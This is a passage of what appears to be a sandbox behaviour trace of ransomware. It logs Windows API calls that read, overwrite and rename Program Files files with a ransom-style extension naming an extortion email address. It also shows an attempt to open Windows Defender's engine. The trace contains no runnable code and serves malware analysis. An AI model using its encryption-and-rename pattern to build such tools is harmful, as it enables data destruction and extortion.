lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d23fc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d23fc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d4a13c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d5580 [0201.893] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0201.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0201.893] GetProcessHeap () returned 0x630000 [0201.893] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0201.893] GetProcessHeap () returned 0x630000 [0201.893] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0201.894] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.894] ReadFile (in: hFile=0x6d4, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0210.474] GetProcessHeap () returned 0x630000 [0210.474] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0210.474] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.474] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0210.475] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.475] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.475] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.475] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.475] CloseHandle (hObject=0x6d4) returned 1 [0210.475] GetProcessHeap () returned 0x630000 [0210.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0210.475] GetProcessHeap () returned 0x630000 [0210.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0210.475] GetProcessHeap () returned 0x630000 [0210.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0210.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d23fc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d23fc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4365e232, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1857d, dwReserved0=0x9187496, dwReserved1=0x71c0040, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d52c0 [0210.476] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.476] Sleep (dwMilliseconds=0x1) [0212.153] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", len=0x6f | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX") returned 1 [0212.153] GetProcessHeap () returned 0x630000 [0212.153] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e38) returned 0x6fe4288 [0212.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0212.154] CloseHandle (hObject=0x42c) returned 1 [0212.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0212.155] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0xe408c02c, dwReserved1=0x63005b, cFileName="IC-TXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="IC-TXT~1.FIR")) returned 0x6d5380 [0212.155] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0212.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0212.156] GetProcessHeap () returned 0x630000 [0212.156] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2b21) returned 0x6ef738 [0212.156] GetProcessHeap () returned 0x630000 [0212.156] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2b21) returned 0x743fb58 [0212.156] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.156] ReadFile (in: hFile=0x42c, lpBuffer=0x6ef738, nNumberOfBytesToRead=0x2b00, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef738*, lpNumberOfBytesRead=0x637ff0c*=0x2b00, lpOverlapped=0x0) returned 1 [0215.987] GetProcessHeap () returned 0x630000 [0215.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0215.987] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.987] WriteFile (in: hFile=0x42c, lpBuffer=0x743fb58*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743fb58*, lpNumberOfBytesWritten=0x637ff0c*=0x2b00, lpOverlapped=0x0) returned 1 [0215.987] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.987] WriteFile (in: hFile=0x42c, lpBuffer=0x7442657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7442657*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.987] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.987] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.987] CloseHandle (hObject=0x42c) returned 1 [0215.987] GetProcessHeap () returned 0x630000 [0215.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x743fb58 | out: hHeap=0x630000) returned 1 [0215.988] GetProcessHeap () returned 0x630000 [0215.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef738 | out: hHeap=0x630000) returned 1 [0215.988] GetProcessHeap () returned 0x630000 [0215.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0215.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46af7acd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2b25, dwReserved0=0x9187496, dwReserved1=0x6ef730, cFileName="IC-TXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="IC-TXT~1.FIR")) returned 0x6d5280 [0215.988] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0215.988] Sleep (dwMilliseconds=0x1) [0217.517] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html", len=0x6f | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html") returned 1 [0217.518] GetProcessHeap () returned 0x630000 [0217.518] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c0) returned 0x6fe3bb0 [0217.518] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.518] CloseHandle (hObject=0x714) returned 1 [0217.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.518] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0217.519] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0217.519] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.519] GetProcessHeap () returned 0x630000 [0217.520] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9501) returned 0x711d230 [0217.520] GetProcessHeap () returned 0x630000 [0217.520] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9501) returned 0x70dd910 [0217.520] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.520] ReadFile (in: hFile=0x714, lpBuffer=0x711d230, nNumberOfBytesToRead=0x94e0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesRead=0x637ff0c*=0x94e0, lpOverlapped=0x0) returned 1 [0222.171] GetProcessHeap () returned 0x630000 [0222.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0222.171] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.171] WriteFile (in: hFile=0x714, lpBuffer=0x70dd910*, nNumberOfBytesToWrite=0x94e0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesWritten=0x637ff0c*=0x94e0, lpOverlapped=0x0) returned 1 [0223.662] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.663] WriteFile (in: hFile=0x714, lpBuffer=0x70e6def*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e6def*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0224.900] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.901] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0224.901] CloseHandle (hObject=0x714) returned 1 [0225.605] GetProcessHeap () returned 0x630000 [0225.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0225.606] GetProcessHeap () returned 0x630000 [0225.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0225.606] GetProcessHeap () returned 0x630000 [0225.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0225.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c00fa93, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9516, dwReserved0=0x9187496, dwReserved1=0x711d228, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0225.606] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.606] Sleep (dwMilliseconds=0x1) [0226.681] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\MsMpEng.exe", len=0x2d | out: pbstr=0x637ff7c*="C:\\Program Files\\Windows Defender\\MsMpEng.exe") returned 1 [0226.681] GetProcessHeap () returned 0x630000 [0226.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e0) returned 0x6fe3bb0 [0226.681] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MsMpEng.exe" (normalized: "c:\\program files\\windows defender\\msmpeng.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.693] Sleep (dwMilliseconds=0x1) [0226.703] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml") returned 1 [0226.703] GetProcessHeap () returned 0x630000 [0226.703] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5164) returned 0x6fe3bb0 [0226.703] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0226.725] CloseHandle (hObject=0x6d8) returned 1 [0226.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.725] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.001] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d52c0 [0227.002] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0227.002] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0227.002] GetProcessHeap () returned 0x630000 [0227.002] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0227.002] GetProcessHeap () returned 0x630000 [0227.002] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0227.002] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.002] ReadFile (in: hFile=0x6d8, lpBuffer=0x6f3e48, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesRead=0x637ff0c*=0x180, lpOverlapped=0x0) returned 1 [0227.004] GetProcessHeap () returned 0x630000 [0227.004] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0227.004] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.004] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f3920*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesWritten=0x637ff0c*=0x180, lpOverlapped=0x0) returned 1 [0227.005] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.005] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f3a9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3a9f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.005] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.005] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, 